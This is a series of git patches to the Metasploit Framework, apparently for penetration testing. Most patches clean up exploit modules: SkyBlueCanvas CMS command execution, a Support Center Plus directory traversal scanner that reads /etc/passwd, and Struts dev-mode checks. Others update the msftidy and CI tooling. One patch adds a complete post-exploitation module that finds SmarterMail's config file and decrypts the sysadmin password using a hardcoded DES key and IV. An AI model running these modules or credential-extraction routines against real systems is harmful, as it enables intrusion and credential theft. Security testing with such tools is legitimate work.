jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 31 Jan 2014 09:17:51 -0600 Subject: [PATCH 132/246] Do final cleanup for the skybluecanvas exploit --- .../exploits/multi/http/skybluecanvas_exec.rb | 37 +++++++++++-------- 1 file changed, 21 insertions(+), 16 deletions(-) diff --git a/modules/exploits/multi/http/skybluecanvas_exec.rb b/modules/exploits/multi/http/skybluecanvas_exec.rb index 7bc9062962..6a9f3d4db2 100644 --- a/modules/exploits/multi/http/skybluecanvas_exec.rb +++ b/modules/exploits/multi/http/skybluecanvas_exec.rb @@ -15,33 +15,40 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'SkyBlueCanvas CMS Remote Code Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability - in SkyBlueCanvas CMS version 1.1 r248-03 and below. The vulnerable function is - inside /index.php?pid=4. + in SkyBlueCanvas CMS version 1.1 r248-03 and below. }, 'License' => MSF_LICENSE, 'Author' => [ - 'Scott Parish', # Vulnerability discovery and exploit + 'Scott Parish', # Vulnerability discovery and exploit 'xistence <xistence[at]0x90.nl>' # Metasploit Module ], 'References' => [ + ['CVE', '2014-1683'], + ['OSVDB', '102586'], + ['BID', '65129'], + ['EDB', '31183'], ['URL', 'http://packetstormsecurity.com/files/124948/SkyBlueCanvas-CMS-1.1-r248-03-Command-Injection.html'] ], 'Privileged' => false, 'Payload' => { + # Arbitrary big number. The payload gets sent as an HTTP + # response body, so really it's unlimited + 'Space' => 262144, # 256k + 'DisableNops' => true, 'Compat' => - { - 'ConnectionType' => 'find', - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby bash telnet python' - } + { + 'ConnectionType' => 'find', + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl ruby bash telnet python' + } }, 'Platform' => %w{ unix }, 'Targets' => [ - ['SkyBlueCanvas', {}] + ['SkyBlueCanvas 1.1 r248', {}] ], 'Arch' => ARCH_CMD, 'DisclosureDate' => 'Jan 28 2014', @@ -56,22 +63,20 @@ class Metasploit3 < Msf::Exploit::Remote def check uri = normalize_uri(target_uri.path.to_s, "index.php") - res = send_request_raw( - { - 'uri' => uri - }) + res = send_request_raw('uri' => uri) if res and res.body =~ /[1.1 r248]/ - print_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found") + vprint_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found") return Exploit::CheckCode::Appears end - return Exploit::CheckCode::Safe + + Exploit::CheckCode::Safe end def exploit uri = normalize_uri(target_uri.path.to_s, "index.php") - res = send_request_cgi({ + send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'vars_get' => { 'pid' => '4' }, From 710902dc568c3bbf1f6a4089adc446746c77a488 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 31 Jan 2014 09:18:59 -0600 Subject: [PATCH 133/246] Move file location --- .../exploits/{multi/http => unix/webapp}/skybluecanvas_exec.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/{multi/http => unix/webapp}/skybluecanvas_exec.rb (100%) diff --git a/modules/exploits/multi/http/skybluecanvas_exec.rb b/modules/exploits/unix/webapp/skybluecanvas_exec.rb similarity index 100% rename from modules/exploits/multi/http/skybluecanvas_exec.rb rename to modules/exploits/unix/webapp/skybluecanvas_exec.rb From e9f04d9203490cd5a75a1d5e5088c5c61b73cdf5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 31 Jan 2014 09:37:40 -0600 Subject: [PATCH 134/246] Do final cleanup for Support Center Plus module --- ...support_center_plus_directory_traversal.rb | 59 +++++++++---------- 1 file changed, 28 insertions(+), 31 deletions(-) diff --git a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb index e1b6fd49ca..e631179872 100644 --- a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb @@ -6,7 +6,6 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -27,43 +26,41 @@ class Metasploit3 < Msf::Auxiliary 'Author' => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module 'References' => [ - [ 'EDB', '31262' ], - [ 'URL', 'http://packetstormsecurity.com/files/124975/ManageEngine-Support-Center-Plus-7916-Directory-Traversal.html' ] + ['EDB', '31262'], + ['OSVDB', '102656'], + ['BID', '65199'], + ['URL', 'http://packetstormsecurity.com/files/124975/ManageEngine-Support-Center-Plus-7916-Directory-Traversal.html'] ], - 'Platform' => 'java', - 'Arch' => ARCH_JAVA, - 'Targets' => 'Support Center Plus', - 'Privileged' => true, - 'DisclosureDate' => "Jan 28 2014", - 'DefaultTarget' => 0)) + 'DisclosureDate' => "Jan 28 2014" + )) - register_options( - [ - OptString.new('TARGETURI', [true, 'The base path to the Support Center Plus installation', '/']), - OptString.new('RPORT', [true, 'Remote port of the Support Center Plus installation', '8080']), - OptString.new('USER', [true, 'The Support Center Plus user', 'guest']), - OptString.new('PASS', [true, 'The Support Center Plus password', 'guest']), - OptString.new('FILE', [true, 'The Support Center Plus password', '/etc/passwd']) - ], self.class) + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the Support Center Plus installation', '/']), + OptString.new('RPORT', [true, 'Remote port of the Support Center Plus installation', '8080']), + OptString.new('USER', [true, 'The Support Center Plus user', 'guest']), + OptString.new('PASS', [true, 'The Support Center Plus password', 'guest']), + OptString.new('FILE', [true, 'The Support Center Plus password', '/etc/passwd']) + ], self.class) end def run_host(ip) uri = target_uri.path peer = "#{ip}:#{rport}" - print_status("#{peer} - Retrieving cookie") + vprint_status("#{peer} - Retrieving cookie") res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(uri, ""), + 'uri' => normalize_uri(uri, "") }) if res and res.code == 200 session = res.get_cookies else - print_error("#{peer} - Server returned #{res.code.to_s}") + vprint_error("#{peer} - Server returned #{res.code.to_s}") end - print_status("#{peer} - Logging in as user [ #{datastore['USER']} ]") + vprint_status("#{peer} - Logging in as user [ #{datastore['USER']} ]") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, "j_security_check"), @@ -79,14 +76,14 @@ class Metasploit3 < Msf::Auxiliary }) if res and res.code == 302 - print_status("#{peer} - Login succesful") + vprint_status("#{peer} - Login succesful") else - print_error("#{peer} - Login was not succesful!") + vprint_error("#{peer} - Login was not succesful!") return end randomname = Rex::Text.rand_text_alphanumeric(10) - print_status("#{peer} - Creating ticket with our requested file [ #{datastore['FILE']} ] as attachment") + vprint_status("#{peer} - Creating ticket with our requested file [ #{datastore['FILE']} ] as attachment") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, "WorkOrder.do"), @@ -117,21 +114,21 @@ class Metasploit3 < Msf::Auxiliary }) if res and res.code == 200 - print_status("#{peer} - Ticket created") + vprint_status("#{peer} - Ticket created") if (res.body =~ /FileDownload.jsp\?module=Request\&ID=(\d+)\&authKey=(.*)\" class=/) fileid = $1 - print_status("#{peer} - File ID is [ #{fileid} ]") + vprint_status("#{peer} - File ID is [ #{fileid} ]") fileauthkey = $2 - print_status("#{peer} - Auth Key is [ #{fileauthkey} ]") + vprint_status("#{peer} - Auth Key is [ #{fileauthkey} ]") else - print_error("#{peer} - File ID and AuthKey not found!") + vprint_error("#{peer} - File ID and AuthKey not found!") end else - print_error("#{peer} - Ticket not created due to error!") + vprint_error("#{peer} - Ticket not created due to error!") return end - print_status("#{peer} - Requesting file [ #{uri}workorder/FileDownload.jsp?module=Request&ID=#{fileid}&authKey=#{fileauthkey} ]") + vprint_status("#{peer} - Requesting file [ #{uri}workorder/FileDownload.jsp?module=Request&ID=#{fileid}&authKey=#{fileauthkey} ]") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, "workorder", "FileDownload.jsp"), @@ -156,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary ) print_good("#{peer} - [ #{datastore['FILE']} ] loot stored as [ #{p} ]") else - print_error("#{peer} - Server returned #{res.code.to_s}") + vprint_error("#{peer} - Server returned #{res.code.to_s}") end end end From 53c2a737e9f949444ae526ed5f1226a556b2f29c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 31 Jan 2014 09:42:41 -0600 Subject: [PATCH 135/246] Don't register rport again --- .../scanner/http/support_center_plus_directory_traversal.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb index e631179872..4dd71493e3 100644 --- a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb @@ -36,8 +36,8 @@ class Metasploit3 < Msf::Auxiliary register_options( [ + Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'The base path to the Support Center Plus installation', '/']), - OptString.new('RPORT', [true, 'Remote port of the Support Center Plus installation', '8080']), OptString.new('USER', [true, 'The Support Center Plus user', 'guest']), OptString.new('PASS', [true, 'The Support Center Plus password', 'guest']), OptString.new('FILE', [true, 'The Support Center Plus password', '/etc/passwd']) From 721ae6c66e0cd584f3c86edde557ce42743fc672 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Fri, 31 Jan 2014 10:36:55 -0600 Subject: [PATCH 136/246] Should really call source_address without args --- scripts/shell/spawn_meterpreter.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/shell/spawn_meterpreter.rb b/scripts/shell/spawn_meterpreter.rb index 9ce89b84f7..87a87ce691 100644 --- a/scripts/shell/spawn_meterpreter.rb +++ b/scripts/shell/spawn_meterpreter.rb @@ -35,7 +35,7 @@ end # lhost = framework.datastore['LHOST'] unless lhost - lhost = Rex::Socket.source_address('50.50.50.50') + lhost = Rex::Socket.source_address end # From 2fca2da9f7f877052a6771709dc3562cd881ce9f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 31 Jan 2014 11:57:20 -0600 Subject: [PATCH 137/246] Add an vprint message on check --- modules/exploits/multi/http/struts_dev_mode.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/struts_dev_mode.rb b/modules/exploits/multi/http/struts_dev_mode.rb index 14adc7429e..ac94989169 100644 --- a/modules/exploits/multi/http/struts_dev_mode.rb +++ b/modules/exploits/multi/http/struts_dev_mode.rb @@ -66,6 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote end if res and res.code == 200 and res.body.to_s =~ /#{sum}/ + vprint_status("#{peer} - Looks like the injection is being evaluated, but there is more data than expected in the response") return Exploit::CheckCode::Appears end From 60ead5de439189db6181d9709e6c2e38e2266128 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Fri, 31 Jan 2014 12:05:58 -0600 Subject: [PATCH 138/246] Explain why we flag the vuln as "Appears" instead of vulnerable --- modules/exploits/multi/http/struts_dev_mode.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/struts_dev_mode.rb b/modules/exploits/multi/http/struts_dev_mode.rb index ac94989169..6bd7c2854f 100644 --- a/modules/exploits/multi/http/struts_dev_mode.rb +++ b/modules/exploits/multi/http/struts_dev_mode.rb @@ -55,6 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check + vprint_status("Testing to see if the target can evaluate our Java code...") addend_one = rand_text_numeric(rand(3) + 1).to_i addend_two = rand_text_numeric(rand(3) + 1).to_i sum = addend_one + addend_two @@ -66,7 +67,8 @@ class Metasploit3 < Msf::Exploit::Remote end if res and res.code == 200 and res.body.to_s =~ /#{sum}/ - vprint_status("#{peer} - Looks like the injection is being evaluated, but there is more data than expected in the response") + vprint_status("Code got evaluated. Target seems vulnerable, but the response contains something else:") + vprint_line(res.body.to_s) return Exploit::CheckCode::Appears end From 87412be33dd61254975632cfc904d9d5060c60bc Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 31 Jan 2014 14:19:04 -0600 Subject: [PATCH 139/246] Squash commit Travis-able msftidy checks This change updates msftidy to be run automatically for new modules added since the last tag release because we can't rely on folks using tools/dev/pre-commit-hook before submitting a PR. Now, when one attempts to open a PR with a non-tidy'ed module, the build will fail out of the gate. Related to the 100s of msftidy errors extant today. [SeeRM #8498] commit c894e52de5705a1133191be5e9caf3ebdee33621 Author: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri Jan 31 14:17:02 2014 -0600 Add a jacked up title to test travis. Revert this! commit 2f00c190be71aeb456a7a546071286fd6d670bc1 Author: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri Jan 31 11:39:42 2014 -0600 Allow for checking and spotchecking. commit db11e8dfad5381030b08c431a183dbafe7a5f304 Author: Tod Beardsley <tod_beardsley@rapid7.com> Date: Thu Jan 30 17:16:37 2014 -0600 Whoops, need to exit an Integer always. commit 12d131d3157a78ff11e597476138323ed0a062fc Author: Tod Beardsley <tod_beardsley@rapid7.com> Date: Thu Jan 30 16:59:35 2014 -0600 Allow for exit statuses from msftidy. commit 2c3b294ff17416f49935472caf2b6be3dbdd93a4 Author: Tod Beardsley <tod_beardsley@rapid7.com> Date: Thu Jan 30 15:36:43 2014 -0600 Be more dynamic about tag checking years commit d5d8a0b05ac17fb18666a9c252dbb6928d6b5e56 Author: Tod Beardsley <tod_beardsley@rapid7.com> Date: Thu Jan 30 14:36:44 2014 -0600 Don't warn when there's really nothing commit fb44a3142fb01eb2647c1c240bb1cc2e7bf59120 Author: Tod Beardsley <tod_beardsley@rapid7.com> Date: Thu Jan 30 14:21:50 2014 -0600 Revert the intentional failure This reverts commit 99a7630b0da301b27ac495cb027009a8cd9e2caf. Fun fact: Reverting a commit does not automatically sign with my current aliases, one must git revert then git c --amend. commit 99a7630b0da301b27ac495cb027009a8cd9e2caf Author: Tod Beardsley <tod_beardsley@rapid7.com> Date: Thu Jan 30 14:08:05 2014 -0600 Cause an exit status in precommit check Maybe travis will see these and fail the build. Don't forget to revert this commit @todb-r7 ! commit 5a3b2fcd9598fae51a0dd2c7c87680c703a85448 Author: Tod Beardsley <tod_beardsley@rapid7.com> Date: Thu Jan 30 13:11:04 2014 -0600 Update msftidy pre-commit-hook for spotchecking commit 3f255e36dad9ed3081aaf359f845525d96872ef0 Author: Tod Beardsley <tod_beardsley@rapid7.com> Date: Thu Jan 30 12:35:16 2014 -0600 Travis should run msftidy via precommit hook commit 0959d9d2d281590a94c0ac960e43b74354e4e21b Author: Tod Beardsley <tod_beardsley@rapid7.com> Date: Thu Jan 30 12:25:53 2014 -0600 Add SPOTCHECK_RECENT to msftidy.rb --- .travis.yml | 2 ++ tools/msftidy.rb | 59 +++++++++++++++++++++++++++++++++++++----------- 2 files changed, 48 insertions(+), 13 deletions(-) diff --git a/.travis.yml b/.travis.yml index 6e4c13c878..6c815d2340 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,9 +1,11 @@ language: ruby +env: MSF_SPOTCHECK_RECENT=1 before_install: - rake --version - sudo apt-get update -qq - sudo apt-get install -qq libpcap-dev before_script: + - ./tools/msftidy.rb - cp config/database.yml.travis config/database.yml - bundle exec rake --version - bundle exec rake db:create diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 13d9422b0a..6ac20a384c 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -8,8 +8,10 @@ # require 'fileutils' require 'find' +require 'time' CHECK_OLD_RUBIES = !!ENV['MSF_CHECK_OLD_RUBIES'] +SPOTCHECK_RECENT = !!ENV['MSF_SPOTCHECK_RECENT'] if CHECK_OLD_RUBIES require 'rvm' @@ -38,34 +40,47 @@ class Msftidy LONG_LINE_LENGTH = 200 # From 100 to 200 which is stupidly long - attr_reader :full_filepath, :source, :stat, :name + # Status codes + OK = 0x00 + WARNINGS = 0x10 + ERRORS = 0x20 + + attr_reader :full_filepath, :source, :stat, :name, :status def initialize(source_file) @full_filepath = source_file @source = load_file(source_file) + @status = OK @name = File.basename(source_file) end public - ## # - # The following two functions only print what you throw at them, - # with the option of displying the line number. error() is meant - # for mistakes that might actually break something. + # Display a warning message, given some text and a number. Warnings + # are usually style issues that may be okay for people who aren't core + # Framework developers. # - ## - - def warn(txt, line=0) - line_msg = (line>0) ? ":#{line}" : '' + # @return status [Integer] Returns WARNINGS unless we already have an + # error. + def warn(txt, line=0) line_msg = (line>0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'WARNING'.yellow}] #{txt}" + @status == ERRORS ? @status = ERRORS : @status = WARNINGS end + # + # Display an error message, given some text and a number. Errors + # can break things or are so egregiously bad, style-wise, that they + # really ought to be fixed. + # + # @return status [Integer] Returns ERRORS def error(txt, line=0) line_msg = (line>0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'ERROR'.red}] #{txt}" + @status = ERRORS end + # Currently unused, but some day msftidy will fix errors for you. def fixed(txt, line=0) line_msg = (line>0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'FIXED'.green}] #{txt}" @@ -465,6 +480,11 @@ class Msftidy end end +# +# Run all the msftidy checks. +# +# @param full_filepath [String] The full file path to check +# @return status [Integer] A status code suitable for use as an exit status def run_checks(full_filepath) tidy = Msftidy.new(full_filepath) tidy.check_mode @@ -484,6 +504,7 @@ def run_checks(full_filepath) tidy.check_snake_case_filename tidy.check_comment_splat tidy.check_vuln_codes + return tidy end ## @@ -494,9 +515,18 @@ end dirs = ARGV -if dirs.length < 1 - $stderr.puts "Usage: #{File.basename(__FILE__)} <directory or file>" - exit(1) +if SPOTCHECK_RECENT + last_release =%x{git tag -l #{DateTime.now.year}*}.split.last + new_modules = %x{git diff #{last_release}..HEAD --raw | grep -P 'A\tmodules' | sed 's/.*A\t//'} + dirs = dirs | new_modules.split +end + +# Don't print an error if there's really nothing to check. +unless SPOTCHECK_RECENT + if dirs.length < 1 + $stderr.puts "Usage: #{File.basename(__FILE__)} <directory or file>" + exit(0x01) + end end dirs.each do |dir| @@ -505,9 +535,12 @@ dirs.each do |dir| next if full_filepath =~ /\.git[\x5c\x2f]/ next unless File.file? full_filepath next unless full_filepath =~ /\.rb$/ - run_checks(full_filepath) + msftidy = run_checks(full_filepath) + @exit_status = msftidy.status if (msftidy.status > @exit_status.to_i) end rescue Errno::ENOENT $stderr.puts "#{File.basename(__FILE__)}: #{dir}: No such file or directory" end end + +exit(@exit_status.to_i) From a5bff638c5c8dcd047d6813a99b11f89b75bd696 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Fri, 31 Jan 2014 15:01:03 -0600 Subject: [PATCH 140/246] Remove EOL spaces --- modules/exploits/windows/oracle/tns_auth_sesskey.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/oracle/tns_auth_sesskey.rb b/modules/exploits/windows/oracle/tns_auth_sesskey.rb index 2e71cd121d..a75969a235 100644 --- a/modules/exploits/windows/oracle/tns_auth_sesskey.rb +++ b/modules/exploits/windows/oracle/tns_auth_sesskey.rb @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote version = tns_version if (not version) vprint_error("Unable to detect the Oracle version!") - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Unknown end vprint_status("Oracle version reply: " + version) return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/) From 03d65cd2bd59d9ed20b2cf5fade4820b87800c60 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 31 Jan 2014 16:44:42 -0600 Subject: [PATCH 141/246] Address @wvu-r7's comments and better filtering --- tools/msftidy.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 6ac20a384c..c6f54e80a5 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -516,8 +516,15 @@ end dirs = ARGV if SPOTCHECK_RECENT - last_release =%x{git tag -l #{DateTime.now.year}*}.split.last - new_modules = %x{git diff #{last_release}..HEAD --raw | grep -P 'A\tmodules' | sed 's/.*A\t//'} + msfbase = %x{\\git rev-parse --show-toplevel}.strip + if File.directory? msfbase + Dir.chdir(msfbase) + else + $stderr.puts "You need a git binary in your path to use this functionality." + exit(0x02) + end + last_release = %x{\\git tag -l #{DateTime.now.year}\\*}.split.last + new_modules = %x{\\git diff #{last_release}..HEAD --name-only --diff-filter A modules} dirs = dirs | new_modules.split end From e30195348e8ff0d44426966eb939c3ba07a3d8fa Mon Sep 17 00:00:00 2001 From: bcoles <bcoles@gmail.com> Date: Sun, 2 Feb 2014 05:51:21 +1030 Subject: [PATCH 142/246] Add Windows Gather SmarterMail Password Extraction post module --- .../windows/gather/credentials/smartermail.rb | 124 ++++++++++++++++++ 1 file changed, 124 insertions(+) create mode 100644 modules/post/windows/gather/credentials/smartermail.rb diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb new file mode 100644 index 0000000000..c17f04318f --- /dev/null +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -0,0 +1,124 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/auxiliary/report' +require 'rex' + +class Metasploit3 < Msf::Post + include Msf::Auxiliary::Report + include Msf::Post::File + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather SmarterMail Password Extraction', + 'Description' => %q{ + This module extracts and decrypts the sysadmin password in the + SmarterMail 'mailConfig.xml' configuration file. The encryption + key and IV are publicly known. + This module has been tested successfully on SmarterMail versions + 10.7.4842 and 11.7.5136. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Joe Giron @theonlyevil1', # Discovery and PoC + 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit + ], + 'References' => + [ + [ 'URL', 'http://www.gironsec.com/blog/tag/cracking-smartermail/'] + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + end + + # + # Decrypt DES encrypted password string + # + def decrypt_des encrypted + return nil if encrypted.nil? + decipher = OpenSSL::Cipher::DES.new + decipher.decrypt + decipher.key = "\xb9\x9a\x52\xd4\x58\x77\xe9\x18" + decipher.iv = "\x52\xe9\xc3\x9f\x13\xb4\x1d\x0f" + return decipher.update(encrypted) + decipher.final + end + + # + # Find SmarterMail 'mailConfig.xml' config file + # + def check_smartermail + drive = session.fs.file.expand_path("%SystemDrive%") + ['Program Files (x86)', 'Program Files'].each do |program_dir| + begin + path = "#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml" + vprint_status "#{@host} (#{@comp}) - Checking for SmarterMail config file: #{path}" + return path if client.fs.file.stat(path) + rescue Rex::Post::Meterpreter::RequestError => e + print_error "#{@host} (#{@comp}) - Could not load #{path} - #{e}" + return + end + end + end + + # + # Retrieve username and decrypt encrypted password string from the config file + # + def get_smartermail_creds(path) + vprint_status "#{@host} (#{@comp}) - Retrieving SmarterMail sysadmin password" + begin + data = read_file("#{path}") || '' + rescue Rex::Post::Meterpreter::RequestError => e + print_error "#{@host} (#{@comp}) - Failed to download #{path} - #{e}" + return + end + if data.nil? + print_error "#{@host} (#{@comp}) - Configuration file is empty." + return + end + @username = "#{$1}" if data =~ /<sysAdminUserName>(.+)<\/sysAdminUserName>/ + @password = decrypt_des(Rex::Text.decode_base64("#{$1}")) if data =~ /<sysAdminPassword>(.+)<\/sysAdminPassword>/ + end + + # + # Find the config file, extract the encrypted password and decrypt it + # + def run + @host = "#{session.sock.peerhost}" + @comp = "#{sysinfo['Computer']}" + if session.type != "meterpreter" + print_error "#{@host} (#{@comp}) - Only meterpreter sessions are supported by this post module" + return + end + + # check for SmartMail config file + config_path = check_smartermail + if config_path.nil? + print_error "#{@host} (#{@comp}) - Could not find SmarterMail config file" + return + end + + # retrieve username and decrypted password from config file + @username = nil + @password = nil + get_smartermail_creds(config_path) + if @password.nil? + print_error "#{@host} (#{@comp}) - Could not decrypt password string" + return + end + + # report result + print_good "#{@host} (#{@comp}) - Found credentials. Username: '#{@username}' Password: '#{@password}'" + report_auth_info( + :host => @host, + :sname => 'http', + :user => @username, + :pass => @password, + :source_id => session.db_record ? session.db_record.id : nil, + :source_type => 'vuln') + end +end From 62dca111f8f7b14bdfd42111cbbd1d2bc2390d12 Mon Sep 17 00:00:00 2001 From: bcoles <bcoles@gmail.com> Date: Sun, 2 Feb 2014 08:07:18 +1030 Subject: [PATCH 143/246] Conform to style --- .../windows/gather/credentials/smartermail.rb | 103 +++++++++--------- 1 file changed, 53 insertions(+), 50 deletions(-) diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index c17f04318f..eac200f4cb 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -1,8 +1,8 @@ +# -*- coding: utf-8 -*- ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' require 'msf/core/auxiliary/report' require 'rex' @@ -11,55 +11,57 @@ class Metasploit3 < Msf::Post include Msf::Auxiliary::Report include Msf::Post::File - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Gather SmarterMail Password Extraction', - 'Description' => %q{ - This module extracts and decrypts the sysadmin password in the - SmarterMail 'mailConfig.xml' configuration file. The encryption - key and IV are publicly known. - This module has been tested successfully on SmarterMail versions - 10.7.4842 and 11.7.5136. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'Joe Giron @theonlyevil1', # Discovery and PoC - 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Windows Gather SmarterMail Password Extraction', + 'Description' => %q{ + This module extracts and decrypts the sysadmin password in the + SmarterMail 'mailConfig.xml' configuration file. The encryption + key and IV are publicly known. + This module has been tested successfully on SmarterMail versions + 10.7.4842 and 11.7.5136. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Joe Giron @theonlyevil1', # Discovery and PoC + 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit + ], + 'References' => + [ + ['URL', 'http://www.gironsec.com/blog/tag/cracking-smartermail/'] ], - 'References' => - [ - [ 'URL', 'http://www.gironsec.com/blog/tag/cracking-smartermail/'] - ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ] - )) - + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'] + )) end # # Decrypt DES encrypted password string # - def decrypt_des encrypted + def decrypt_des(encrypted) return nil if encrypted.nil? decipher = OpenSSL::Cipher::DES.new decipher.decrypt decipher.key = "\xb9\x9a\x52\xd4\x58\x77\xe9\x18" decipher.iv = "\x52\xe9\xc3\x9f\x13\xb4\x1d\x0f" - return decipher.update(encrypted) + decipher.final + decipher.update(encrypted) + decipher.final end # # Find SmarterMail 'mailConfig.xml' config file # def check_smartermail - drive = session.fs.file.expand_path("%SystemDrive%") + drive = session.fs.file.expand_path('%SystemDrive%') ['Program Files (x86)', 'Program Files'].each do |program_dir| begin path = "#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml" - vprint_status "#{@host} (#{@comp}) - Checking for SmarterMail config file: #{path}" + vprint_status "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + + "Checking for SmarterMail config file: #{path}" return path if client.fs.file.stat(path) rescue Rex::Post::Meterpreter::RequestError => e - print_error "#{@host} (#{@comp}) - Could not load #{path} - #{e}" + print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + + "Could not load #{path} - #{e}" return end end @@ -69,55 +71,56 @@ class Metasploit3 < Msf::Post # Retrieve username and decrypt encrypted password string from the config file # def get_smartermail_creds(path) - vprint_status "#{@host} (#{@comp}) - Retrieving SmarterMail sysadmin password" + result = {} + vprint_status "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + + 'Retrieving SmarterMail sysadmin password' begin data = read_file("#{path}") || '' rescue Rex::Post::Meterpreter::RequestError => e - print_error "#{@host} (#{@comp}) - Failed to download #{path} - #{e}" + print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + + "Failed to download #{path} - #{e}" return end if data.nil? - print_error "#{@host} (#{@comp}) - Configuration file is empty." + print_error "#{session.sock.peerhost} (#{sysinfo['Computer']}) - " + + 'Configuration file is empty.' return end - @username = "#{$1}" if data =~ /<sysAdminUserName>(.+)<\/sysAdminUserName>/ - @password = decrypt_des(Rex::Text.decode_base64("#{$1}")) if data =~ /<sysAdminPassword>(.+)<\/sysAdminPassword>/ + username = data.match(/<sysAdminUserName>(.+)<\/sysAdminUserName>/) + password = data.match(/<sysAdminPassword>(.+)<\/sysAdminPassword>/) + result['username'] = username[1] unless username.nil? + result['password'] = decrypt_des(Rex::Text.decode_base64(password[1])) unless password.nil? + result end # # Find the config file, extract the encrypted password and decrypt it # def run - @host = "#{session.sock.peerhost}" - @comp = "#{sysinfo['Computer']}" - if session.type != "meterpreter" - print_error "#{@host} (#{@comp}) - Only meterpreter sessions are supported by this post module" - return - end - # check for SmartMail config file config_path = check_smartermail if config_path.nil? - print_error "#{@host} (#{@comp}) - Could not find SmarterMail config file" + print_error "#{session.sock.peerhost} 